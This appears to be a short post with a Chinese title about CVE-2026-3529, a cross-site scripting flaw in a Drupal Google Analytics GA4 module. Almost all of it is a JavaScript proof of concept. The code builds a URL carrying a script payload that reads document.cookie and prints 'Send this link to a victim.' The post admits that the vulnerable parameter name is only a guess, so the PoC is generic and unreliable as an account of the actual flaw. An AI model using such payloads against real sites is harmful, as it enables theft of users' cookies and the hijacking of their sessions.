CVE-2026-3529 Drupal Google Analytics GA4模块XSS漏洞

// Proof of Concept for CVE-2026-3529 // Description: Injecting a payload via a vulnerable parameter to trigger XSS. // Payload to be executed in the victim's browser var payload = '<script>alert(document.cookie);</script>'; // Constructing the malicious URL // Note: The exact parameter name depends on the module's implementation var targetUrl = 'http://example.com/'; var attackUrl = targetUrl + '?vulnerable_tracking_param=' + encodeURIComponent(payload); // Output the attack link console.log('Send this link to a victim:', attackUrl); // In a real attack scenario, when the victim loads the page, // the script tag injected via the vulnerable parameter is rendered // and executed by the browser, demonstrating the XSS vulnerability.